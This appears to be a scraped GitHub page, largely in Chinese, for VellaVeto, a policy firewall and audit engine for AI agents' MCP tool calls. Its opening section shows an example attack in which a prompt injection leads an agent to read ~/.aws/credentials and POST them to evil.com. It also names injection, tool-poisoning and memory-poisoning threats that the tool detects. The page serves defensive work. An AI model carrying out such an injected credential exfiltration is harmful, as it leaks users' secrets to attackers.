vellaveto/vellaveto
GitHub: vellaveto/vellaveto
面向 MCP 协议的 AI Agent 工具调用运行时安全引擎,提供策略防火墙、威胁检测与合规审计能力。
Stars: 2 | Forks: 1
**VellaVeto 是一个用于 AI agent 工具调用的运行时安全引擎。** 它拦截 [MCP](https://modelcontextprotocol.io/) 和函数调用请求,对路径、域和操作执行安全策略,并维护防篡改的审计追踪。你可以将其部署为 stdio 代理、HTTP 网关、多租户控制平面或客户端隐私盾。
## 问题背景
AI agent 可以读取文件、发起 HTTP 请求和执行命令。如果没有集中控制:
```
Agent receives prompt injection
→ reads ~/.aws/credentials
→ POST https://evil.com/exfil?data=AKIA...
→ no audit trail, no one notices
```
这并非假设。MCP 生态系统在 15 个月内已累计 [30+ CVEs](https://www.practical-devsecops.com/mcp-security-vulnerabilities/):`mcp-remote` 中的命令注入([CVE-2025-6514](https://nvd.nist.gov/vuln/detail/CVE-2025-6514))、Anthropic 官方 Git MCP server 中的路径遍历([CVE-2025-68143/44/45](https://github.com/anthropics/anthropic-cookbook/security/advisories))、[SANDWORM](docs/THREAT_MODEL.md) npm 供应链蠕虫向 AI 配置中注入恶意 MCP server,以及作为 MCP 包分发的 [SmartLoader](https://blog.morphisec.com/smartloader-malware-targets-manufacturing) 木马。已发现 [8,000+ MCP servers](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks) 在无认证情况下暴露。
VellaVeto 位于 AI agent 和工具服务器之间。每个工具调用在执行前都会根据策略进行评估。若无匹配策略、缺少上下文或评估出错,结果均为 `Deny`。每个决策都记录在防篡改链中。
```
Agent attempts: read_file("/home/user/.aws/credentials")
→ VellaVeto evaluates against policy
→ Deny { reason: "path blocked by credential-protection rule" }
→ Logged with SHA-256 chain + Ed25519 checkpoint
→ Agent never sees the file contents
```
## Consumer Shield —— 保护用户免受 AI 提供商侵害
企业安全只是故事的一半。当 AI 提供商通过其基础设施处理工具调用时,它们能看到你的文件路径、凭证、浏览模式和工作上下文。[Consumer Shield](examples/presets/consumer-shield.toml) 是一种用户侧部署模式,旨在保护个人免受大规模数据收集 —— 无论提供商的服务条款如何规定。
```
You type: "Read my medical records at /home/alice/health/lab-results.pdf"
→ Shield intercepts before the provider sees it
→ PII replaced: "Read my medical records at [PII_PATH_1]"
→ Provider processes the sanitized request
→ Response comes back, Shield restores original paths
→ Encrypted local audit proves what was shared and what was stripped
```
**Shield 的功能:**
| 层级 | 保护内容 | 机制 |
|---|---|---|
| **PII 脱敏** | 文件路径、邮箱、IP、姓名、凭证 | 使用 `[PII_{CAT}_{SEQ}]` 占位符双向替换 —— 提供商永远看不到原始内容 |
| **加密本地审计** | 完整交互历史 | XChaCha20-Poly1305 + Argon2id,存储在你的机器上,而非提供商处 |
| **会话隔离** | 跨会话关联 | 每个会话获得新凭证 —— 提供商无法关联会话以建立档案 |
| **凭证库** | 通过工具调用传递的 API key、token | 盲凭证绑定 —— 提供商看到工具调用但看不到凭证值 |
| **文风抗性** | 写作风格指纹识别 | 空格、标点、emoji 和填充词归一化,使你的写作模式无法被识别 |
| ** Canary 警示** | 法律强制透明度 | Ed25519 签名的 canary —— 如果停止更新,假定存在法律压力 |
Shield 以 `vellaveto-shield` 名称在本地运行,采用 **MPL-2.0** 许可 —— 无需企业许可证。
```
vellaveto-shield --config consumer-shield.toml -- npx @anthropic/claude-desktop
```
## 功能概览
VellaVeto 不仅仅是代理或防火墙 —— 它是 agentic 系统的安全控制平面:
- **策略引擎** —— glob/regex/domain 匹配、参数约束、时间窗口、调用限制、Cedar 风格 ABAC、Wasm 插件。<5ms P99 评估。
- **威胁检测** —— 注入、tool squatting、rug pulls、schema 投毒、DLP、memory 投毒、多 agent 串通。20+ 检测层,不只是 regex。
- **身份与访问** —— OAuth 2.1/JWT、OIDC/SAML、RBAC、能力委派、DPoP (RFC 9449)、非人类身份生命周期。
- **拓扑发现** —— 自动发现 MCP servers、tools 和 resources。检测 drift、tool shadowing 和命名空间冲突。
- **审计与合规** —— 防篡改日志(SHA-256 + Merkle + Ed25519)、ZK 证明、证据包映射到 EU AI Act、SOC 2、DORA、NIS2、NIST AI 600-1、ISO 42001 及另外 6 个框架。
- **Consumer shield** —— 上述所有功能,在用户侧运行。参见 [Consumer Shield](#consumer-shield--protect-users-from-ai-providers)。
**核心保证:**
- **完全仲裁** —— 请求和响应路径在工具执行前和模型返回前进行评估
- **Fail-closed** —— 错误、缺少策略和未解决的上下文均产生 `Deny`
- **防篡改审计** —— SHA-256 哈希链 + Merkle 证明 + Ed25519 签名检查点
- **公开安全契约** —— [Security Guarantees](docs/SECURITY_GUARANTEES.md) + [Assurance Case](docs/ASSURANCE_CASE.md) 附带可复现证据
## 快速开始
### 即时保护
选择一个保护级别即可 —— 无需配置文件:
```
# 安装(任选其一):
cargo install vellaveto-proxy # From source (~2 min)
# 或从 https://github.com/vellaveto/vellaveto/releases 下载预构建的二进制文件
# Shield — 凭证、SANDWORM 防御、窃密阻断、注入/DLP
vellaveto-proxy --protect shield -- npx @modelcontextprotocol/server-filesystem /tmp
# Fortress — shield + 系统文件、软件包配置、sudo 审批、内存追踪
vellaveto-proxy --protect fortress -- python -m mcp_server
# Vault — 默认拒绝、允许安全读取、写入需审批
vellaveto-proxy --protect vault -- ./my-server
```
| 级别 | 默认值 | 阻止内容 | 适用对象 |
|-------|---------|----------------|----------|
| `shield` | Allow | 凭证、SANDWORM(AI 配置注入)、exfil 域、git hooks、系统文件、危险命令、注入、DLP | 任何人 —— 开箱即用 |
| `fortress` | Allow | Shield + 包配置篡改、权限提升审批、memory 投毒检测、shadow agent 检测 | 想要更多保护的开发者 |
| `vault` | **Deny** | 除明确允许外的所有内容;源代码读取 + git 读取允许,写入需要审批 | 最高安全性 |
标签:Agentic AI, AI基础设施, AI安全, AI应用防火墙, AMSI绕过, API集成, Chat Copilot, CISA项目, DLL 劫持, DLP, DNS 反向解析, JSONLines, LLM, MCP, OWASP Top 10, Rust, Streamlit, Unmanaged PE, WAF, 代理安全, 代理网关, 可观测性, 可视化界面, 大语言模型, 威胁检测, 子域名突变, 安全网关, 工具调用防护, 形式化验证, 提示词注入防护, 数据防泄露, 模型上下文协议, 网络安全, 网络流量审计, 访问控制, 请求拦截, 通知系统, 通知系统, 防火墙, 隐私保护, 零信任, 高速代理